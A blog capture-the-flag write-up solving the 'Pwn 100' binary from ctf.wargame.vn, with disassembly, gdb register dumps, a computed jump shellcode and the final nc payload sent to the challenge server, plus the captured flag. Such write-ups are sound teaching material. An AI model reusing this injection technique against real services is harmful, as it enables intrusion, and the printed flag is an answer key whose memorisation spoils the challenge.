Monday, August 12, 2013

ctf.wargame.vn - Pwn 100

Pwn 100 is a 64-bit ELF executable. The binary is simple, first it reads 8 bytes from user and passes it as address argument for mprotect() function call. Address has to be page aligned
.text:0000000000400890                 lea     rsi, [rbp+buf]  ; buf
.text:0000000000400894                 mov     eax, [rbp+fd]
.text:0000000000400897                 mov     ecx, 0          ; flags
.text:000000000040089C                 mov     edx, 8          ; n
.text:00000000004008A1                 mov     edi, eax        ; fd
.text:00000000004008A3                 call    _recv
.text:00000000004008A8                 mov     rax, [rbp+buf]
.text:00000000004008AC                 mov     edx, 7          ; prot
.text:00000000004008B1                 mov     esi, 400h       ; len
.text:00000000004008B6                 mov     rdi, rax        ; addr
.text:00000000004008B9                 call    _mprotect
Then, the binary receives 4 bytes of input using recv(4, buf, 4), then makes a call to buf using CALL RCX
.text:00000000004009DB                 mov     rax, [rbp+buf]
.text:00000000004009DF                 add     rax, 0FBh
.text:00000000004009E5                 mov     rsi, rax        ; buf
.text:00000000004009E8                 mov     eax, [rbp+fd]
.text:00000000004009EB                 mov     ecx, 0          ; flags
.text:00000000004009F0                 mov     edx, 4          ; n
.text:00000000004009F5                 mov     edi, eax        ; fd
.text:00000000004009F7                 call    _recv
.text:00000000004009FC                 mov     rax, [rbp+buf]
.text:0000000000400A00                 add     rax, 0FBh
.text:0000000000400A06                 mov     [rbp+var_8], rax
.text:0000000000400A0A                 mov     rdx, cs:FLAG
.text:0000000000400A11                 mov     eax, [rbp+fd]
.text:0000000000400A14                 mov     rcx, [rbp+var_8]
.text:0000000000400A18                 mov     rsi, rdx
.text:0000000000400A1B                 mov     edi, eax
.text:0000000000400A1D                 call    rcx
First we pass 0x0000000000400000 as address to mprotect(0x400000, 1024, 7). The we can pass 4 bytes of shellcode. The following input was passed to the executable
echo -ne '\x00\x00\x40\x00\x00\x00\x00\x00AAAA' | nc 127.0.0.1 4001
Below is the state of the program during the crash, viewed inside gdb.
RAX: 0x8 
RBX: 0x0 
RCX: 0x4000fb 
RDX: 0x400cac ("MARIO_", 'x' <repeats 18 times>)
RSI: 0x400cac ("MARIO_", 'x' <repeats 18 times>)
RDI: 0x8 
RIP: 0x4000fb

gdb-peda$ x/8x 0x4000fb
0x4000fb: 0x41 0x41 0x41 0x41 0x00 0x28 0x1e 0x60
We can observe a few things

[*] RIP is pointing to 0x4000fb
[*] RSI is pointing to 0x400cac, which looks like the buffer address of flag
[*] RAX is having the socket descriptor value

There is a f_shellcode(), with the following sequence to call send()
.text:000000000040082A                 mov     ecx, 0          ; flags
.text:000000000040082F                 mov     edx, 14h        ; n
.text:0000000000400834                 mov     edi, eax        ; fd
.text:0000000000400836                 call    _send
.text:000000000040083B                 leave
.text:000000000040083C                 retn
Since we have the registers already loaded, I tried reading the flag by jumping to the address of send() sequence. Here is the idea of shellcode

[*] Compute offset difference between current RIP and 0x40082A
[*] Perform a jump
>>> hex(0x40082A- 0x4000fb)
'0x72f'
nasm > jmp 0x72f
00000000  E92A070000        jmp dword 0x72f
So the final payload is
echo -ne '\x00\x00\x40\x00\x00\x00\x00\x00\xe9\x2a\x07\x00' | nc 42.117.7.116 4001
And I got the flag in reply, which is MARIO_PWN_THIS_FLAG

No comments :

Post a Comment